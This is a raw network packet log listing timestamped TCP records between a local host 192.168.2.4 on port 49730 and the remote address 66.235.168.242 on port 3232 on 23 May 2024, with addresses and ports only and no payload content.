May 23, 2024 13:53:48.135503054 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.135561943 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.135699987 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.136609077 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.136656046 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.137284040 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.137331009 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.137372971 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.137774944 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.138828993 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.138880968 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.139031887 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.140218973 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.140273094 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.140425920 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.140913963 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.140961885 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.141264915 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.141855001 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.141908884 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.142334938 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.142383099 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.142436981 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.143016100 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.143827915 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.143878937 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.144037008 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.144792080 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.144845009 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.145009041 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.145777941 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.145827055 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.145986080 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.146743059 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.146795034 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.151320934 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.151367903 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.151478052 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.151957035 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.152167082 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.152220011 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.152528048 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.152942896 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.152997017 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.156218052 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.156264067 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.156310081 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.195077896 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.195697069 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.195827007 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.195868969 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.196486950 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.196551085 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.196774960 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.197417021 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.197472095 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.197762966 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.198359013 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.198410988 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.198725939 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.199428082 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.199476004 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.199492931 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.199884892 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.199937105 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.200303078 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.201920986 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.201976061 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.202111006 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.202559948 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.202615023 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.202908993 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.203358889 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.203411102 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.203701019 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.204109907 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.204168081 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.204629898 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.204675913 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.204726934 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.205039978 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.206091881 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.206146955 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.206693888 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.207102060 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.207156897 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.207277060 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.207911015 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.207964897 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.208091974 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.208873987 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.208926916 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.209458113 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.209503889 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.209556103 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.209880114 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.210762024 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.210810900 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.210962057 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.211769104 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.211832047 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.211982012 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.212703943 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.212765932 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.212934017 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.213958979 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.214013100 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.214025974 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.214158058 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.214211941 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.214534044 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.214945078 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.214997053 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.215843916 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.216036081 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.216140032 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.216854095 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.217027903 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.217081070 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.217793941 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.217967987 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.218019962 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.218734980 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.219285965 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.219333887 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.219350100 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.219650030 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.219703913 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.224037886 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.273391008 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.273421049 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.273524046 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.273524046 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.273890972 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.274375916 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.274426937 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.274892092 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.275324106 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.275376081 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.275764942 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.276268959 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.276314974 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.276738882 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.277193069 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.277213097 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.277235031 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.277647972 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.277694941 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.278134108 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.278594017 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.278639078 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.279099941 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.279120922 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.279159069 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.279643059 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.280030966 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.280071974 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.280405998 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.280797005 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.280818939 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.280836105 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.281522989 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.281565905 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.281933069 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.282258034 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.282299995 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.282679081 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.282700062 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.282742023 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.283049107 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.283444881 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.283488989 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.283807993 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.284198999 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.284240961 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.284758091 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.284969091 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.285008907 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.285089016 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.285434008 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.285475969 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.285809994 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.286163092 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.286204100 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.286477089 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.287480116 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.287522078 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.287672997 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.289788961 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.289810896 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.289830923 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.335432053 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.335481882 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.350550890 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.350879908 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.350946903 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.351042032 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.351881027 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.351931095 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.351983070 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.352782011 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.352819920 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.352955103 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.354275942 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.354314089 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.354342937 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.355598927 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.355626106 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.355640888 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.355757952 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.355793953 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.356018066 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.357455015 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.357475996 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.357495070 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.358409882 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.358453035 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.358496904 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.358854055 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.358874083 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.358895063 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.359519005 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.359556913 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.360713959 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.360761881 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.360796928 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.360830069 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.361155987 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.361190081 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.361423969 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.362375975 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.362415075 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.362505913 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.363816023 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.363868952 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.363941908 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.365972996 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.366019964 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.366130114 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.366306067 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.366343975 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.366652966 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.366672993 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.366692066 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.366708994 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.370280027 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.370347023 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.371150970 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.372000933 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.372051001 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.372200966 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.372895956 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.372937918 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.373073101 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.378106117 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.378149986 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.421848059 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.421921015 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.438123941 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.438163996 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.438205004 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.438369036 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.438390017 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.438427925 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.438633919 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.438925028 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.438962936 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.439152002 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.439909935 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.439949989 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.440068960 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.440809011 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.440829992 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.440848112 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.441791058 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.441833019 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.441967010 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.442703009 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.442743063 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.442908049 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.443267107 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.443305016 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.443660975 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.444619894 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.444660902 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.444762945 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.445571899 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.445611954 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.445714951 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.446337938 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.446376085 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.446496010 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.447067022 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.447118998 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.447863102 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.447885990 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.447916031 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.448019028 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.448395967 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.448431015 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.448646069 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.449390888 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.449480057 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.449538946 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.450253963 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.450288057 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.450468063 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.451078892 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.451114893 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.451239109 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.452038050 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.452075958 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.453290939 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.453314066 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.453351021 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.453366995 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.453707933 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.453749895 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.454679966 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.455100060 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.455137014 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.455240011 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.455878019 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.455914021 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.456036091 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.456712961 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.456751108 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.456854105 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.457737923 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.457782030 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.458367109 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.458410025 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.458442926 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.458542109 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.458836079 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.458874941 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.459204912 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.460045099 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.460084915 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.460167885 CEST	3232	49730	66.235.168.242	192.168.2.4
